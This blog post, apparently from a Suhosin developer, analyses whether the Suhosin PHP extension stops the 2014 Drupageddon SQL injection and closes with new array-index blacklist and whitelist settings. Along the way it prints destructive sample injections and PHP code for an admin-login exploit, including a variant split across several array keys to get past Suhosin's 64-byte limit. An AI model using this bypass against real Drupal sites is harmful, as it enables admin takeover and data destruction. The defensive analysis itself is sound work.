Drupageddon vs. Suhosin

After the Drupageddon we thought about, would Suhosin have prevented any attacks against Drupal? The Quick answer: it might, but see for your self..


Automated attacks began compromising Drupal 7 websites that were not patched or updated to Drupal 7.32 within hours of the announcement of SA-CORE-2014-005 - Drupal core - SQL injection. You should proceed under the assumption that every Drupal 7 website was compromised unless updated or patched before Oct 15th, 11pm UTC, that is 7 hours after the announcement.
Drupal Security Team

Is this statement true? Would all sites be vulnerable to these automated attacks? What if Suhosin is installed, which kills many general attack vectors. The short answer is that it kills all the PoCs, which we saw in the internet and that have been reported, but a dedicated attacker can navigate around Suhosin and still exploit this bug.

What is Suhosin?

Suhosin (pronounced 'su-ho-shin') is an advanced protection system for PHP installations. It was designed to protect servers and users from known and unknown flaws in PHP applications and the PHP core. The Suhosin extension is a powerful PHP extension able to protect against a number of different attacks.

How Suhosin mitigates this vulnerability

Suhosin tries to eliminate a lot of vulnerabilities by enforcing "normal" behavior. One of such enforcements is limiting the maximum array key length to 64 Bytes. Since this bug is triggering SQL injection through malicious array keys, Suhosin would have stopped all the attacks that used array keys longer than 64 bytes in the default configuration. All the PoCs we saw in the wild and attacks that have been reported, like e.g. the one in Metasploit require more characters and would therefore not pass Suhosin's filter.

This does not close the door for all simple attacks, because you can try to make an injection with less than 64 bytes. However even an ";UPDATE {user} SET password= '$password' -- " has 90 bytes, due to the length of the password hash. A shorter attack one could think of is the most destructive "; DROP DATABASE -- " which comes to 19 Bytes.

Circumvent Suhosin

Unfortunately there are many sites out there that explain how to setup Drupal with Suhosin, which urge the users to set the limit to 512 or even 2048, which prevent the security measurement to work. If one followed these manuals when configuring Suhosin, one would be vulnerable to the automated attacks.

But even if you leave the limit at 64 bytes, you can still be attacked by a dedicated attacker. This is due to the nature of the bug. Drupal tries to convert an :placeholder to :placeholder_1, :placeholder_2 for every array element. All PoCs and attacks we saw only use an array with two elements in it. But what if we utilize three or more elements? In this way we can inject code even when Suhosin filters array indices longer than 64 bytes.

The following is an example how one can alter the login as admin PoC starting from this:

$inject = "UNION SELECT $user_id,'$user_name','$password','','','',null,0,0,0,1,null,'',0,'',null,$user_id,'$session_id','','',0,0,null -- ";
$cookie = $cookieName.'[test+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[test]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;

into something like this:

$inject = "UNION SELECT $user_id,'$user_name'"; //, :sid_t
$inject2 = ",'','','',null,0,0,0,1,null,'',0"; //, :sid_t
$inject3 = ",null,$user_id,'$session_id'"; //, :sid_t
$inject4 = ",'',0,0,null -- ";

$cookie = $cookieName.'[t+'.urlencode($inject).']='.$session_id.'; '.$cookieName.'[t+'.urlencode($inject2).']='.$session_id.'; '.$cookieName.'[t+'.urlencode($inject3).']='.$session_id.'; '.$cookieName.'[t+'.urlencode($inject4).']='.$session_id.'; '.$cookieName.'[t]='.$session_id.'; S'.$cookieName.'='.$sec_ssid;

As you can see we need to alter our SELECT to utilize the placeholder again. But since the Code underneath does not care about the fields we leave empty, we can do so.

So would Suhosin help at all?

Yes Suhosin can help you against the automated first wave of attacks, if you set the key length to a reasonable limit for your application.

And like always we use safe default values in the default configuration of Suhosin. For some application you have to alter one or two settings. But try to think about what you are doing, this can dramatically change the security of your application.

How to tweak Suhosin to protect against future attacks

In order to prevent future injections of that kind we implemented a blacklist and whitelist feature for array indices into Suhosin. For example in php.ini add the following entry to block requests containing any of the blacklisted characters within array indices, e.g. http://example.com/?foo[; or 1=1 -- ]=1:

suhosin.request.array_index_blacklist = ";-+()<>'"

Even better, if you know that array indices can only contain certain characters, set a suitable whitelist:

suhosin.request.array_index_whitelist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

This feature was added right after publicly disclosing the Drupal injection bug. You can find it in Suhosin version 0.9.37-dev.

Stefan Horst